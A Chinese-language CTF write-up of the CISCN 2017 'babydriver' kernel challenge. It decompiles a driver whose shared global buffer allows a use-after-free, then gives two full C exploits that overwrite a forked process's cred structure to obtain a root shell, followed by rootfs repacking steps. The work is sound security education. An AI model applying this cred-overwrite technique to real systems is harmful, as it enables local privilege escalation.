CISCN2017-babydriver
1.文件分析先仿真运行一下
会发现给的boot.sh有问题,没有装载klm模块好像好像
没开kaslr
1 2 3 4 5 6 7 8 9 10 11
| #!/bin/bash
qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \ -monitor /dev/null \ -m 64M \ --nographic \ -smp cores=1,threads=1 \ -cpu qemu64
|
开启smep,漏洞模块是babydriver.ko,然后就是root才可读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh
umount /proc umount /sys poweroff -d 0 -f
|
2.仿真运行一下
1 2 3 4
| chmod u+x boot.sh ./boot.sh id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
|
3.IDA分析
babyopen()
将申请的64位字节的堆地址赋给babydev_struct的device_buf,device_buf_len=64(size),这个是全局变量,没有设置任何保护措施,这就造成两个用户同时执行open(“/dev/babydev”,2)时会出现覆盖
像这样:
- 进程A:打开设备,分配堆块A
- 进程B:打开设备,覆盖指针指向堆块B
- 进程A:写入数据到”自己的”缓冲区(实际写入堆块B)
- 进程B:读取数据,可以看到进程A写入的内容
- 进程A:关闭设备,释放堆块B
- 进程B:仍然持有指向已释放堆块B的指针 → UAF
1 2 3 4 5 6 7 8 9 10
| int __fastcall babyopen(inode *inode, file *filp) { __int64 v2; // rdx
_fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0, 0x40); babydev_struct.device_buf_len = 64; printk("device open\n", 0x24000C0, v2); return 0; }
|
babyread()
正常输入,只要没超出size就好了
1 2 3 4 5 6 7 8 9 10 11
| void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx
_fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_to_user(buffer, babydev_struct.device_buf, v4); } }
|
babywrite()
1 2 3 4 5 6 7 8 9 10
| void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; // rdx
_fentry__(filp, buffer); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > v4 ) copy_from_user(babydev_struct.device_buf, buffer, v4); }
|
babyioctl()
babyioctl()只有一个分支(command),它先将babydev_struct.device_buf指向的堆块释放掉,然后根据用户态传入的arg参数申请任意大小堆块,并更新babydev_struct结构体中两个成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; // rdx size_t v4; // rbx __int64 v5; // rdx
_fentry__(filp, command); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0); babydev_struct.device_buf_len = v4; printk("alloc done\n", 0x24000C0, v5); } else { printk("\x013defalut:arg is %ld\n", v3); } }
|
babyrelease()
close(fd)时候会调用,释放指针但是没有清空,有UAF
1 2 3 4 5 6 7
| int __fastcall babyrelease(inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n"); return 0; }
|
总结一下:
- 两个用户(fd1, fd2)可以指向同一个内核结构体
- 用户1(fd1)可以为该结构体申请一个任意大小的堆块然后释放该堆块
- 用户2(fd2)获得一个垂悬指针。
4.exp编写
修改cred(0)
fork()一个子进程时,内核会为cred分配0xa8大小的堆用于存放结构体内容。通常pid_t fpid=fork()的值>1
fpid<0,退出,fpid=0,执行该子进程if,fpid>0,有wait()先执行子进程,在执行父进程,也就是该进程
在子进程read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include<unistd.h> #include<stdio.h> #include<stdlib.h>
int main(){ int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2); ioctl(fd1,0x10001,0xa8); close(fd1); pid_t fpid; fpid=fork(); if (fpid < 0) { printf("error in fork!\n"); exit(0); }else if (fpid == 0) { printf("child pid is : %d\n",getpid()); char zeros[30] = {0}; write(fd2,zeros,28); if(getuid() == 0){ system("/bin/sh"); exit(0); } }else { wait(NULL); printf("parent pid is: %d\n",getpid()); } printf("%d: going to close fd2\n",getpid()); close(fd2); return 0; }
|
在父进程read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include<unistd.h> #include<stdio.h> #include<stdlib.h>
int main(){ int fd1 = open("/dev/babydev",2); int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8); close(fd1);
pid_t fpid; fpid=fork(); if (fpid < 0) { printf("error in fork!\n"); exit(0); }else if (fpid == 0) { printf("waiting..."); sleep(3); system("/bin/sh"); exit(0); }else { char zeros[30] = {0}; write(fd2,zeros,28); wait(NULL); } close(fd2); return 0; }
|
5.获取新的rootfs.cpio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 创建一个文件夹,并将rootfs.cpio放入
# 重命名文件以反映其真实格式 mv rootfs.cpio rootfs.cpio.gz
# 解压 gunzip rootfs.cpio.gz
# 然后解压 CPIO cpio -idmv < rootfs.cpio gcc exp.c -static -masm=intel -g -o exp 再将exp放入文件夹,记得将原先的rootfs.cpio删去 find . | cpio -o --format=newc > rootfs.cpio 得到一个新的rootfs.cpio,放回上一级文件夹
./boot.sh ./exp id
|
结束!
参考: 第一道内核pwn - CISCN 2017 babydriver | blingbling’s blog